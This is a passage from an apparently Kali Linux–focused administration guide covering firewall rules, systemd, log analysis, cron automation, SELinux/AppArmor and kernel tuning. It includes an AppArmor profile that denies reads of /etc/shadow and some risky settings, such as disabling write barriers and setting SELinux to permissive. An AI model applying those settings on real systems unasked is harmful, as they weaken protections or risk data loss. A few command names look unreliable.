iptables -A INPUT -p tcp --dport 7000 -m recent --name KNOCK1 --set -j DROP
iptables -A INPUT -p tcp --dport 8000 -m recent --name KNOCK1 --rcheck -m recent --name KNOCK2 --set -j DROP
iptables -A INPUT -p tcp --dport 9000 -m recent --name KNOCK2 --rcheck -m recent --name SSH -j DROP
iptables -A INPUT -m recent --name SSH --rcheck -p tcp --dport 22 -j ACCEPT

6.2.2 nftables (Modern Replacement)

nftables is the modern replacement for iptables, providing a unified framework with simpler syntax and better performance.

nftables Concepts:

  • Tables: Containers for chains (like iptables tables)
  • Chains: Ordered lists of rules (with types: filter, nat, route)
  • Rules: Matching criteria and actions
  • Sets: Groups of elements for efficient matching

Basic nftables Configuration:

# Install nftables
apt install nftables

# Enable nftables
systemctl enable nftables
systemctl start nftables

# Basic ruleset
cat > /etc/nftables.conf << EOF
#!/usr/sbin/nft -f

flush ruleset

table inet filter {
    chain input {
        type filter hook input priority 0; policy drop;
        
        # Allow loopback
        iif lo accept
        
        # Allow established connections
        ct state {established, related} accept
        
        # SSH
        tcp dport 2222 accept
        
        # ICMP (limited)
        icmp type echo-request limit rate 1/second accept
        
        # Log drops
        log prefix "NFTABLES-DROP: " counter drop
    }
    
    chain forward {
        type filter hook forward priority 0; policy drop;
    }
    
    chain output {
        type filter hook output priority 0; policy accept;
    }
}

table inet nat {
    chain prerouting {
        type nat hook prerouting priority 0; policy accept;
    }
    
    chain postrouting {
        type nat hook postrouting priority 100; policy accept;
        oif eth0 masquerade
    }
}
EOF

# Apply rules
nft -f /etc/nftables.conf

Advanced nftables Examples:

# Create table with families
nft add table inet firewall
nft add table ip raw

# Add chains
nft add chain inet firewall input { type filter hook input priority 0\; policy drop\; }

# Add sets for efficient matching
nft add set inet firewall whitelist { type ipv4_addr\; elements = { 192.168.1.100, 10.0.0.5 }\; }
nft add set inet firewall blacklist { type ipv4_addr\; flags timeout\; }

# Add rules using sets
nft add rule inet firewall input ip saddr @whitelist accept
nft add rule inet firewall input ip saddr @blacklist drop

# Rate limiting
nft add rule inet firewall input tcp dport 2222 meter ssh-meter { ip saddr limit rate 10/minute } accept

# NAT with nftables
nft add table ip nat
nft add chain ip nat prerouting { type nat hook prerouting priority 0\; }
nft add chain ip nat postrouting { type nat hook postrouting priority 100\; }
nft add rule ip nat postrouting oif eth0 masquerade

# Port forwarding
nft add rule ip nat prerouting tcp dport 8080 redirect to 80
nft add rule ip nat prerouting tcp dport 2222 dnat to 192.168.1.100:22

Converting iptables to nftables:

# Convert iptables rules to nftables
iptables-restore-translate -f /etc/iptables/rules.v4

# Automatic migration tool
apt install iptables-nftables-compat
iptables-nftables-convert

6.2.3 Firewall Management Tools

UFW (Uncomplicated Firewall) - Frontend for iptables:

# Install UFW
apt install ufw

# Basic configuration
ufw default deny incoming
ufw default allow outgoing

# Allow specific services
ufw allow ssh
ufw allow 80/tcp
ufw allow 443/tcp
ufw allow from 192.168.1.0/24 to any port 3306

# Rate limiting
ufw limit ssh

# Enable logging
ufw logging on

# Enable firewall
ufw enable

# Check status
ufw status verbose

# Advanced rules
ufw allow proto tcp from 10.0.0.0/8 to any port 22
ufw deny proto udp from any to any port 53

# Application profiles
ufw app list
ufw allow 'Nginx Full'

Firewalld - Dynamic firewall manager:

# Install firewalld
apt install firewalld

# Basic zones
firewall-cmd --get-default-zone
firewall-cmd --set-default-zone=public

# Service management
firewall-cmd --zone=public --add-service=http --permanent
firewall-cmd --zone=public --add-service=https --permanent
firewall-cmd --zone=public --add-port=8080/tcp --permanent

# Rich rules
firewall-cmd --zone=public --add-rich-rule='rule family="ipv4" source address="192.168.1.0/24" port port="22" protocol="tcp" accept' --permanent

# Reload
firewall-cmd --reload

# List all rules
firewall-cmd --list-all

6.3 Service Management (systemd)

systemd is the init system and service manager used by Kali Linux and most modern Linux distributions.

6.3.1 systemd Fundamentals

Systemd Units:

  • Service units: .service - System services
  • Socket units: .socket - IPC or network sockets
  • Target units: .target - Group of units (like runlevels)
  • Timer units: .timer - Scheduled tasks (cron replacement)
  • Mount units: .mount - Filesystem mount points
  • Path units: .path - File system path monitoring

Basic systemd Commands:

# Service management
systemctl start service-name
systemctl stop service-name
systemctl restart service-name
systemctl reload service-name
systemctl status service-name

# Enable/disable at boot
systemctl enable service-name
systemctl disable service-name
systemctl mask service-name   # Prevent any activation
systemctl unmask service-name

# List units
systemctl list-units
systemctl list-unit-files
systemctl list-dependencies service-name

# System state
systemctl get-default
systemctl set-default multi-user.target
systemctl reboot
systemctl poweroff
systemctl suspend
systemctl hibernate

6.3.2 Creating Custom systemd Services

Basic Service Template:

# /etc/systemd/system/custom-service.service
cat > /etc/systemd/system/custom-service.service << EOF
[Unit]
Description=My Custom Service
After=network.target
Wants=network.target

[Service]
Type=simple
User=analyst
Group=analyst
WorkingDirectory=/opt/custom-service
ExecStart=/usr/bin/python3 /opt/custom-service/app.py
ExecReload=/bin/kill -HUP \$MAINPID
Restart=on-failure
RestartSec=10
StandardOutput=journal
StandardError=journal
SyslogIdentifier=custom-service

[Install]
WantedBy=multi-user.target
EOF

# Reload systemd
systemctl daemon-reload

# Enable and start
systemctl enable custom-service
systemctl start custom-service

Service Types:

# Simple (default) - main process is ExecStart
Type=simple

# Forking - process forks, parent exits
Type=forking
PIDFile=/run/service.pid

# Oneshot - runs once and exits
Type=oneshot
RemainAfterExit=yes

# Notify - sends notification when ready
Type=notify
NotifyAccess=all

# Idle - delays execution until jobs are done
Type=idle

Environment Variables and Security:

cat > /etc/systemd/system/secure-service.service << EOF
[Unit]
Description=Secure Service
After=network.target

[Service]
Type=simple
User=service-user
Group=service-group

# Environment
Environment="PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
EnvironmentFile=/etc/service/config

# Security hardening
PrivateTmp=yes
NoNewPrivileges=yes
ProtectSystem=strict
ProtectHome=yes
ProtectKernelTunables=yes
ProtectKernelModules=yes
ProtectControlGroups=yes
ReadWritePaths=/var/lib/service
ReadOnlyPaths=/
RestrictSUIDSGID=yes
RestrictRealtime=yes
RestrictNamespaces=yes
MemoryDenyWriteExecute=yes
SystemCallFilter=~@privileged @resources

# Execute
ExecStart=/usr/bin/python3 /opt/service/app.py

[Install]
WantedBy=multi-user.target
EOF

6.3.3 systemd Timers (Cron Replacement)

Timer Unit Example:

# /etc/systemd/system/backup.service
cat > /etc/systemd/system/backup.service << EOF
[Unit]
Description=Backup Service

[Service]
Type=oneshot
ExecStart=/usr/local/bin/backup-script.sh
User=backup-user
EOF

# /etc/systemd/system/backup.timer
cat > /etc/systemd/system/backup.timer << EOF
[Unit]
Description=Run backup daily
Requires=backup.service

[Timer]
OnCalendar=daily
Persistent=true
RandomizedDelaySec=1800

[Install]
WantedBy=timers.target
EOF

# Enable timer
systemctl enable backup.timer
systemctl start backup.timer
systemctl list-timers

Calendar Event Expressions:

# Various timing options
OnCalendar=*-*-* 00:00:00     # Daily at midnight
OnCalendar=Mon *-*-* 09:00:00  # Mondays at 9am
OnCalendar=*-*-01 00:00:00     # First of month
OnCalendar=*:0/15               # Every 15 minutes

# Relative timers
OnBootSec=10min                 # 10 minutes after boot
OnUnitActiveSec=1h               # 1 hour after last activation

# Combined
OnCalendar=Mon..Fri 09:00:00
OnBootSec=5min
RandomizedDelaySec=300

6.3.4 systemd Journal

Journal Management:

# View logs
journalctl
journalctl -u service-name
journalctl -u ssh.service -f  # Follow mode
journalctl --since "1 hour ago"
journalctl --since "2024-01-01" --until "2024-01-02"

# Filter by priority
journalctl -p err -b  # Errors since boot
journalctl -p warning

# Output formats
journalctl -o verbose
journalctl -o json
journalctl -o export

# Maintenance
journalctl --vacuum-size=500M  # Reduce log size
journalctl --vacuum-time=7d     # Keep 7 days
journalctl --rotate             # Rotate journals

# Persistent logging
mkdir -p /var/log/journal
systemd-tmpfiles --create --prefix /var/log/journal

6.3.5 Advanced systemd Features

Resource Control:

# /etc/systemd/system/resource-limited.service
[Service]
CPUQuota=50%
MemoryMax=500M
TasksMax=100
IOWeight=10

# Apply limits to existing service
systemctl set-property nginx.service CPUQuota=50% MemoryMax=500M

Socket Activation:

# /etc/systemd/system/echo.socket
cat > /etc/systemd/system/echo.socket << EOF
[Unit]
Description=Echo Socket

[Socket]
ListenStream=7777
Accept=yes

[Install]
WantedBy=sockets.target
EOF

# /etc/systemd/system/echo@.service
cat > /etc/systemd/system/echo@.service << EOF
[Unit]
Description=Echo Service

[Service]
ExecStart=-/usr/bin/cat
StandardInput=socket
StandardError=journal
EOF

# Enable socket
systemctl enable echo.socket
systemctl start echo.socket

Systemd Targets:

# View targets
systemctl list-units --type=target

# Common targets
multi-user.target    # Multi-user, non-graphical
graphical.target     # Graphical interface
rescue.target       # Single-user rescue mode
emergency.target    # Emergency shell

# Create custom target
cat > /etc/systemd/system/custom.target << EOF
[Unit]
Description=My Custom Target
Requires=multi-user.target
After=multi-user.target
AllowIsolate=yes
EOF

# Isolate to target
systemctl isolate custom.target

6.4 Log Analysis

Log analysis is critical for security monitoring, incident response, and system troubleshooting.

6.4.1 Linux Logging Architecture

Log Locations:

/var/log/syslog          # General system log
/var/log/auth.log        # Authentication log
/var/log/kern.log        # Kernel log
/var/log/dpkg.log        # Package management
/var/log/apt/           # APT logs
/var/log/nginx/         # Web server logs
/var/log/mysql/         # Database logs
/var/log/postgresql/    # PostgreSQL logs
/var/log/mail.log       # Mail server logs
/var/log/cron.log       # Cron job logs
/var/log/daemon.log     # Daemon logs
/var/log/debug          # Debug messages
/var/log/messages       # Informational messages

rsyslog Configuration:

# /etc/rsyslog.conf
cat /etc/rsyslog.conf

# Template for custom log format
cat > /etc/rsyslog.d/custom.conf << EOF
\$template CustomFormat,"%timestamp% %hostname% %syslogtag% %msg%\n"
*.* /var/log/custom.log;CustomFormat

# Remote logging
*.* @logserver.example.com:514
*.* @@logserver.example.com:10514  # TCP

# Filtering
if \$programname == 'sshd' then /var/log/sshd.log
& ~  # Stop processing
EOF

systemctl restart rsyslog

6.4.2 Log Analysis Tools

Command-line Log Analysis:

# Basic log viewing
tail -f /var/log/auth.log
less /var/log/syslog
grep "Failed password" /var/log/auth.log

# Extract specific fields
cat /var/log/auth.log | awk '/Failed password/ {print $1,$2,$3,$9,$11}'

# Count occurrences
grep -c "Failed password" /var/log/auth.log
grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn

# Time-based analysis
grep "$(date +%b\ %d)" /var/log/auth.log  # Today's logs
grep "$(date +%b\ %d --date='yesterday')" /var/log/auth.log

# Correlation
grep "Accepted publickey" /var/log/auth.log | awk '{print $9}' | sort | uniq -c

Logwatch - Automated Log Analysis:

# Install logwatch
apt install logwatch

# Configure
cat > /etc/logwatch/conf/logwatch.conf << EOF
Output = mail
MailTo = admin@example.com
MailFrom = logwatch@localhost
Detail = High
Service = All
Range = yesterday
Format = html
EOF

# Run manually
logwatch --detail High --range today --service sshd --output stdout

# Schedule daily report
echo "0 6 * * * /usr/sbin/logwatch" >> /etc/crontab

lnav - Interactive Log Viewer:

# Install lnav
apt install lnav

# View multiple logs
lnav /var/log/syslog /var/log/auth.log

# lnav commands
# / - search
# n/N - next/previous search result
# : - enter command
# q - quit

# lnav filters
lnav -c ":filter add 'Failed password'" /var/log/auth.log
lnav -c ":filter out 'Accepted'" /var/log/auth.log

6.4.3 Advanced Log Analysis

Log Analysis with Python:

#!/usr/bin/env python3
# ssh_log_analyzer.py

import re
from collections import Counter
from datetime import datetime

def analyze_ssh_log(logfile):
    failed_attempts = []
    successful_logins = []
    ip_pattern = r'(\d+\.\d+\.\d+\.\d+)'
    
    with open(logfile, 'r') as f:
        for line in f:
            # Failed password attempts
            if 'Failed password' in line:
                ip = re.search(ip_pattern, line)
                if ip:
                    failed_attempts.append(ip.group(1))
            
            # Successful logins
            elif 'Accepted' in line:
                user = re.search(r'for (\w+)', line)
                ip = re.search(ip_pattern, line)
                if user and ip:
                    successful_logins.append({
                        'user': user.group(1),
                        'ip': ip.group(1),
                        'time': ' '.join(line.split()[:3])
                    })
    
    return failed_attempts, successful_logins

failed, success = analyze_ssh_log('/var/log/auth.log')

print(f"Total failed attempts: {len(failed)}")
print("\nTop attacking IPs:")
for ip, count in Counter(failed).most_common(10):
    print(f"  {ip}: {count} attempts")

print(f"\nSuccessful logins: {len(success)}")
for login in success[-10:]:  # Last 10
    print(f"  {login['time']} - {login['user']} from {login['ip']}")

Log Anomaly Detection:

#!/usr/bin/env python3
# anomaly_detector.py

import re
from collections import defaultdict, deque
from datetime import datetime, timedelta
import sys

class LogAnomalyDetector:
    def __init__(self, window_minutes=5, threshold=50):
        self.window = deque()
        self.window_size = window_minutes * 60
        self.threshold = threshold
        self.ip_counts = defaultdict(int)
        
    def process_line(self, line, timestamp):
        # Remove old entries
        while self.window and self.window[0][0] < timestamp - self.window_size:
            old_time, old_ip = self.window.popleft()
            self.ip_counts[old_ip] -= 1
        
        # Extract IP
        ip_match = re.search(r'(\d+\.\d+\.\d+\.\d+)', line)
        if not ip_match:
            return None
            
        ip = ip_match.group(1)
        
        # Add to window
        self.window.append((timestamp, ip))
        self.ip_counts[ip] += 1
        
        # Check for anomaly
        if self.ip_counts[ip] > self.threshold:
            rate = self.ip_counts[ip] / (self.window_size / 60)
            return {
                'ip': ip,
                'count': self.ip_counts[ip],
                'rate': f"{rate:.1f} per minute",
                'window': f"{self.window_size/60} minutes"
            }
        return None

def parse_timestamp(log_line):
    # Parse syslog timestamp (e.g., "Jan 15 10:30:45")
    try:
        parts = log_line.split()
        time_str = ' '.join(parts[:3])
        current_year = datetime.now().year
        dt = datetime.strptime(f"{current_year} {time_str}", "%Y %b %d %H:%M:%S")
        return dt.timestamp()
    except:
        return datetime.now().timestamp()

detector = LogAnomalyDetector(window_minutes=5, threshold=30)

with open('/var/log/auth.log', 'r') as f:
    for line in f:
        if 'Failed password' in line:
            timestamp = parse_timestamp(line)
            alert = detector.process_line(line, timestamp)
            if alert:
                print(f"\n[ALERT] Potential brute force detected!")
                print(f"IP: {alert['ip']}")
                print(f"Attempts: {alert['count']}")
                print(f"Rate: {alert['rate']}")
                print(f"Window: {alert['window']}")
                print("-" * 50)

ELK Stack for Centralized Logging:

# Install Elasticsearch, Logstash, Kibana
wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | apt-key add -
echo "deb https://artifacts.elastic.co/packages/7.x/apt stable main" | tee /etc/apt/sources.list.d/elastic-7.x.list
apt update
apt install elasticsearch logstash kibana

# Configure Logstash
cat > /etc/logstash/conf.d/kali-logs.conf << EOF
input {
  file {
    path => ["/var/log/auth.log", "/var/log/syslog"]
    type => "system"
    start_position => "beginning"
  }
}

filter {
  if [type] == "system" {
    grok {
      match => { "message" => "%{SYSLOGBASE} %{GREEDYDATA:message}" }
    }
    date {
      match => [ "timestamp", "MMM  d HH:mm:ss", "MMM dd HH:mm:ss" ]
    }
  }
  
  if "Failed password" in [message] {
    mutate { add_tag => "failed_auth" }
    grok {
      match => { "message" => "Failed password for %{WORD:user} from %{IP:src_ip}" }
    }
  }
}

output {
  elasticsearch {
    hosts => ["localhost:9200"]
    index => "kali-logs-%{+YYYY.MM.dd}"
  }
  stdout { codec => rubydebug }
}
EOF

# Start services
systemctl enable elasticsearch logstash kibana
systemctl start elasticsearch logstash kibana

6.5 Cron Jobs & Automation

Cron is the traditional job scheduler in Unix-like systems, essential for automating repetitive tasks.

6.5.1 Cron Fundamentals

Crontab Syntax:

# Minute Hour Day Month Weekday Command
  *     *    *    *      *       /path/to/command

# Examples:
0 5 * * * /usr/local/bin/backup.sh        # Daily at 5am
*/15 * * * * /usr/bin/logger "15 min"      # Every 15 minutes
0 9-17 * * 1-5 /bin/check_service.sh       # Every hour 9am-5pm weekdays
0 0 1 * * /usr/bin/monthly-report          # First day of month at midnight

Cron Configuration Files:

# System crontab
/etc/crontab

# User crontabs
/var/spool/cron/crontabs/

# Cron directories
/etc/cron.d/           # Additional cron files
/etc/cron.daily/       # Daily scripts
/etc/cron.hourly/      # Hourly scripts
/etc/cron.weekly/      # Weekly scripts
/etc/cron.monthly/     # Monthly scripts

Managing User Crontabs:

# Edit current user's crontab
crontab -e

# List current user's crontab
crontab -l

# Remove current user's crontab
crontab -r

# Edit specific user's crontab
crontab -u analyst -e

# Import from file
crontab -l > backup_crontab.txt
crontab backup_crontab.txt

6.5.2 Practical Cron Examples

Security Automation:

# Security monitoring crontab
cat > /tmp/security-cron << EOF
# Security automation tasks

# Check for failed SSH attempts every hour
0 * * * * /usr/local/bin/check-failed-ssh.sh

# Update intrusion detection rules daily
30 2 * * * /usr/local/bin/update-suricata-rules.sh

# Run vulnerability scan weekly on Sunday at 3am
0 3 * * 0 /usr/local/bin/nessus-scan.sh internal-network

# Check file integrity daily
45 1 * * * /usr/bin/aide --check | mail -s "AIDE Report" security@example.com

# Rotate and archive logs weekly
0 4 * * 0 /usr/local/bin/archive-logs.sh

# Check for system updates and email report
0 5 * * * apt update && apt list --upgradable | mail -s "Available Updates" admin@example.com

# Monitor disk space and alert if low
*/30 * * * * /usr/local/bin/check-disk.sh /dev/sda1 90
EOF

crontab /tmp/security-cron

Backup Automation Script:

#!/bin/bash
# /usr/local/bin/backup.sh

BACKUP_DIR="/backup/$(date +%Y%m%d)"
LOG_FILE="/var/log/backup.log"

log() {
    echo "[$(date '+%Y-%m-%d %H:%M:%S')] $1" >> $LOG_FILE
}

cleanup_old_backups() {
    # Keep 30 days of backups
    find /backup -type d -mtime +30 -exec rm -rf {} \; 2>/dev/null
}

perform_backup() {
    local source=$1
    local dest="$BACKUP_DIR/$(basename $source)"
    
    log "Starting backup of $source"
    
    # Create backup directory
    mkdir -p "$dest"
    
    # Perform rsync backup
    rsync -av --delete "$source" "$dest" >> $LOG_FILE 2>&1
    
    if [ $? -eq 0 ]; then
        log "Backup of $source completed successfully"
        
        # Create compressed archive
        tar -czf "$dest.tar.gz" -C "$BACKUP_DIR" "$(basename $source)" && \
        rm -rf "$dest"
        log "Created compressed archive: $dest.tar.gz"
    else
        log "ERROR: Backup of $source failed"
        return 1
    fi
}

# Main execution
log "=== Starting backup process ==="

# Create backup directory
mkdir -p "$BACKUP_DIR"

# Backup important directories
perform_backup "/etc"
perform_backup "/home"
perform_backup "/var/www"
perform_backup "/usr/local/bin"

# Backup database (if applicable)
if command -v mysqldump >/dev/null; then
    mysqldump --all-databases > "$BACKUP_DIR/all-databases.sql"
    log "Database backup completed"
fi

# Cleanup old backups
cleanup_old_backups

log "=== Backup process completed ==="
echo "Backup completed: $BACKUP_DIR"

System Monitoring Cron Script:

#!/bin/bash
# /usr/local/bin/system-monitor.sh

send_alert() {
    local subject="$1"
    local message="$2"
    echo "$message" | mail -s "$subject" admin@example.com
}

check_cpu() {
    local threshold=80
    local load=$(uptime | awk '{print $10}' | sed 's/,//')
    local cpu_usage=$(top -bn1 | grep "Cpu(s)" | awk '{print $2}' | cut -d'%' -f1)
    
    if (( $(echo "$cpu_usage > $threshold" | bc -l) )); then
        send_alert "High CPU Usage" "CPU usage is ${cpu_usage}% (threshold: ${threshold}%)"
    fi
}

check_memory() {
    local threshold=90
    local mem_used=$(free | grep Mem | awk '{print ($3/$2) * 100.0}')
    
    if (( $(echo "$mem_used > $threshold" | bc -l) )); then
        send_alert "High Memory Usage" "Memory usage is ${mem_used}% (threshold: ${threshold}%)"
    fi
}

check_disk() {
    local threshold=85
    df -h | grep -vE '^Filesystem|tmpfs|cdrom' | awk '{ print $5 " " $1 " " $6 }' | while read output;
    do
        usage=$(echo $output | awk '{print $1}' | cut -d'%' -f1)
        partition=$(echo $output | awk '{print $3}')
        if [ $usage -ge $threshold ]; then
            send_alert "Low Disk Space" "Partition $partition is at ${usage}% capacity"
        fi
    done
}

check_processes() {
    local critical_processes=("sshd" "nginx" "mysql" "cron")
    
    for proc in "${critical_processes[@]}"; do
        if ! pgrep -x "$proc" > /dev/null; then
            send_alert "Process Down" "Critical process $proc is not running"
            # Attempt restart
            systemctl restart "$proc" 2>/dev/null
        fi
    done
}

check_failed_logins() {
    local threshold=50
    local failed=$(grep "Failed password" /var/log/auth.log | wc -l)
    
    if [ $failed -gt $threshold ]; then
        send_alert "Excessive Failed Logins" "$failed failed login attempts detected"
    fi
}

# Run all checks
check_cpu
check_memory
check_disk
check_processes
check_failed_logins

6.5.3 Systemd Timers vs Cron

Advantages of systemd timers:

  • Integrated with systemd (logging, dependencies)
  • More flexible timing options
  • Can be triggered by events (boot, socket activation)
  • Resource control and security isolation
  • Better error handling and logging

When to use cron:

  • Simpler, well-understood syntax
  • Portable across Unix-like systems
  • Email output by default
  • System-wide and per-user crontabs

Cron-style syntax in systemd:

# /etc/systemd/system/cron-style.timer
[Unit]
Description=Run script at 2am daily

[Timer]
OnCalendar=*-*-* 02:00:00
Persistent=true

[Install]
WantedBy=timers.target

6.6 SELinux & AppArmor

Mandatory Access Control (MAC) systems provide an additional layer of security beyond traditional Unix permissions.

6.6.1 SELinux (Security-Enhanced Linux)

SELinux is a MAC system developed by the NSA, providing fine-grained access control.

SELinux Modes:

# Check current mode
getenforce
# Enforcing | Permissive | Disabled

# Set mode temporarily
setenforce 0  # Permissive
setenforce 1  # Enforcing

# Permanent configuration
cat /etc/selinux/config
# SELINUX=enforcing|permissive|disabled
# SELINUXTYPE=targeted|minimum|mls

SELinux Contexts:

# View file context
ls -Z /etc/passwd
# system_u:object_r:etc_t:s0  /etc/passwd

# View process context
ps -Z
# unconfined_u:unconfined_r:unconfined_t:s0 1234 bash

# Change file context
chcon -t httpd_sys_content_t /var/www/html/index.html
restorecon -v /var/www/html/index.html  # Restore default

# Set default context
semanage fcontext -a -t httpd_sys_content_t "/web(/.*)?"
restorecon -Rv /web

SELinux Booleans:

# List booleans
getsebool -a
semanage boolean -l

# Set boolean
setsebool httpd_can_network_connect on
setsebool -P httpd_can_network_connect on  # Permanent

# Common booleans
httpd_can_network_connect     # Allow Apache network connections
httpd_enable_homedirs         # Allow Apache to access home directories
ftp_home_dir                  # Allow FTP to home directories

SELinux Troubleshooting:

# Check audit logs for denials
grep "avc: denied" /var/log/audit/audit.log

# Generate policy from denials
audit2allow -a  # Show allow rules
audit2allow -a -M mypolicy  # Generate policy module
semodule -i mypolicy.pp     # Install module

# Search for denials by service
ausearch -m avc -c httpd
sealert -a /var/log/audit/audit.log  # Human-readable messages

Creating SELinux Policy:

# Create policy for custom application
cat > myapp.te << EOF
module myapp 1.0;

require {
    type httpd_t;
    type httpd_sys_content_t;
    class file { read write };
}

allow httpd_t httpd_sys_content_t:file { read write };
EOF

# Compile and install
checkmodule -M -m -o myapp.mod myapp.te
semodule_package -o myapp.pp -m myapp.mod
semodule -i myapp.pp

6.6.2 AppArmor

AppArmor is an easier-to-use MAC system, default on Kali and Debian/Ubuntu.

AppArmor Concepts:

  • Profiles: Define what resources applications can access
  • Modes: Enforce (enforcing), Complain (log only), Disabled
  • Hat: Sub-profiles for specific operations

Basic AppArmor Commands:

# Check status
aa-status
apparmor_status

# List profiles
aa-status | grep profiles
ls /etc/apparmor.d/

# Set mode
aa-enforce /path/to/bin
aa-complain /path/to/bin
aa-disable /path/to/bin

Viewing AppArmor Logs:

# Check denials
grep "apparmor=" /var/log/syslog
grep "DENIED" /var/log/syslog | grep "profile="

# Generate reports
aa-logprof  # Interactive profile update
aa-audit    # Enable audit for profile

Creating AppArmor Profiles:

# Generate profile automatically
aa-genprof /usr/bin/myapp

# Manual profile creation
cat > /etc/apparmor.d/usr.bin.myapp << EOF
#include <tunables/global>

/usr/bin/myapp {
    #include <abstractions/base>
    #include <abstractions/nameservice>
    
    # Capabilities
    capability net_bind_service,
    capability setuid,
    
    # Filesystem access
    /etc/myapp/config r,
    /var/log/myapp.log w,
    /var/lib/myapp/** rw,
    
    # Network
    network inet stream,
    network inet6 stream,
    
    # Deny sensitive files
    deny /etc/shadow r,
    deny /etc/security/** r,
    
    # Execute
    /usr/bin/myapp mr,
    /bin/bash ix,
}
EOF

# Load profile
apparmor_parser -r /etc/apparmor.d/usr.bin.myapp

# Set to enforce
aa-enforce /usr/bin/myapp

Profile Abstractions:

# Common abstractions
#include <abstractions/base>          # Basic system access
#include <abstractions/nameservice>   # DNS and network
#include <abstractions/authentication> # PAM and auth
#include <abstractions/openssl>        # SSL certificates
#include <abstractions/php>            # PHP includes
#include <abstractions/mysql>          # MySQL client

# View available abstractions
ls /etc/apparmor.d/abstractions/

6.6.3 SELinux vs AppArmor Comparison

Feature SELinux AppArmor
Complexity Complex Simpler
Default on RHEL/CentOS/Fedora Debian/Ubuntu/Kali
Policy type Type enforcement Path-based
Learning curve Steep Moderate
Flexibility Very high Moderate
Performance Slight overhead Minimal overhead
Administration semanage, audit2allow aa-* tools

Choosing Between Them:

  • AppArmor for most Debian-based systems, easier to learn and maintain
  • SELinux for enterprise environments, complex applications, multi-level security

6.7 Kernel Tuning

Kernel tuning optimizes system performance for specific workloads and use cases.

6.7.1 Kernel Parameters

Viewing and Modifying Parameters:

# List all parameters
sysctl -a

# View specific parameter
sysctl net.ipv4.tcp_tw_reuse
cat /proc/sys/net/ipv4/tcp_tw_reuse

# Set temporarily
sysctl -w net.ipv4.tcp_tw_reuse=1
echo 1 > /proc/sys/net/ipv4/tcp_tw_reuse

# Set permanently
echo "net.ipv4.tcp_tw_reuse = 1" >> /etc/sysctl.conf
echo "net.ipv4.tcp_tw_reuse = 1" > /etc/sysctl.d/99-network.conf

6.7.2 Network Performance Tuning

TCP Stack Optimization:

# /etc/sysctl.d/99-network-performance.conf

# Increase TCP buffer sizes
net.core.rmem_max = 134217728
net.core.wmem_max = 134217728
net.ipv4.tcp_rmem = 4096 87380 134217728
net.ipv4.tcp_wmem = 4096 65536 134217728

# Increase queue lengths
net.core.netdev_max_backlog = 5000
net.ipv4.tcp_max_syn_backlog = 4096
net.core.somaxconn = 1024

# TCP optimization
net.ipv4.tcp_slow_start_after_idle = 0
net.ipv4.tcp_timestamps = 1
net.ipv4.tcp_sack = 1
net.ipv4.tcp_window_scaling = 1
net.ipv4.tcp_congestion_control = cubic  # or bbr for newer kernels

# For high-speed networks
net.core.rmem_default = 262144
net.core.wmem_default = 262144
net.ipv4.tcp_mem = 16777216 16777216 16777216

# Fast recycling (use with caution)
net.ipv4.tcp_tw_reuse = 1
net.ipv4.tcp_fin_timeout = 30

BBR Congestion Control:

# Enable BBR (requires kernel 4.9+)
modprobe tcp_bbr
echo "tcp_bbr" >> /etc/modules-load.d/modules.conf
sysctl -w net.ipv4.tcp_congestion_control=bbr
sysctl -w net.core.default_qdisc=fq

# Verify
sysctl net.ipv4.tcp_congestion_control
lsmod | grep bbr

6.7.3 Memory Management

Virtual Memory Tuning:

# /etc/sysctl.d/99-memory.conf

# Swappiness (0-100, lower = less swapping)
vm.swappiness = 10

# Cache pressure (0-100, higher = more aggressive reclaim)
vm.vfs_cache_pressure = 50

# Dirty page ratio (percentage of memory)
vm.dirty_ratio = 30
vm.dirty_background_ratio = 5

# Overcommit memory (0=heuristic, 1=always, 2=never)
vm.overcommit_memory = 1
vm.overcommit_ratio = 50

# Min free memory (in pages)
vm.min_free_kbytes = 67584

# OOM killer adjustment
vm.panic_on_oom = 0
vm.oom_kill_allocating_task = 0

Huge Pages for Database Workloads:

# Enable Transparent Huge Pages
echo always > /sys/kernel/mm/transparent_hugepage/enabled

# Configure huge pages
echo 512 > /proc/sys/vm/nr_hugepages

# Check usage
grep HugePages /proc/meminfo
cat /proc/meminfo | grep Huge

6.7.4 Filesystem and I/O Tuning

I/O Scheduler Selection:

# Check current scheduler
cat /sys/block/sda/queue/scheduler

# Set scheduler (noop, deadline, cfq)
echo deadline > /sys/block/sda/queue/scheduler

# Persistent via udev
cat > /etc/udev/rules.d/60-iosched.rules << EOF
ACTION=="add|change", KERNEL=="sd*", ATTR{queue/scheduler}="deadline"
EOF

Filesystem Mount Options for Performance:

# /etc/fstab with performance options
/dev/sda1 / ext4 defaults,noatime,nodiratime,barrier=0,data=writeback 0 1

# noatime - Don't update access times
# nodiratime - Don't update directory access times
# barrier=0 - Disable write barriers (risk of corruption on power loss)
# data=writeback - Faster write mode

I/O Limits and Priority:

# Set I/O priority with ionice
ionice -c 2 -n 0 -p $$  # Best effort, highest priority
ionice -c 3 -p $$        # Idle priority

# Set CPU affinity
taskset -c 0,1 command
taskset -p 1234          # Show affinity of PID 1234

6.7.5 Kernel Modules

Module Management:

# List modules
lsmod
modprobe -l

# Load module
modprobe module_name
insmod /path/to/module.ko

# Remove module
modprobe -r module_name
rmmod module_name

# Module parameters
modinfo module_name
modprobe module_name param_name=value
echo "options module_name param=value" >> /etc/modprobe.d/module.conf

Blacklisting Modules:

# Prevent module from loading
cat > /etc/modprobe.d/blacklist.conf << EOF
blacklist module_name
install module_name /bin/false
EOF

6.7.6 Performance Monitoring

Real-time Monitoring Tools:

# CPU and memory
htop
atop
glances

# I/O monitoring
iotop
iostat -x 1

# Network monitoring
nethogs
iftop
bmon

# Comprehensive monitoring
dstat
sar

Performance Profiling:

# perf tools
perf top
perf record -a sleep 60
perf report

# strace for system calls
strace -c -p 1234
strace -e network -p 1234

# ltrace for library calls
ltrace -c command

# SystemTap (if installed)
stap -e 'probe syscall.open { printf("%s(%d) opens %s\n", execname(), pid(), filename) }'

Chapter 7 — Networking Deep Dive

7.1 TCP/IP Stack Internals

Understanding the TCP/IP stack is fundamental for network analysis, exploitation, and defense.

7.1.1 The OSI Model and TCP/IP Model

OSI Model Layers:

  1. Physical: Bits, voltage, cables
  2. Data Link: Frames, MAC addresses, Ethernet
  3. Network: Packets, IP addressing, routing
  4. Transport: Segments, TCP/UDP, ports
  5. Session: Session management
  6. Presentation: Data encoding, encryption
  7. Application: HTTP, FTP, DNS, SMTP

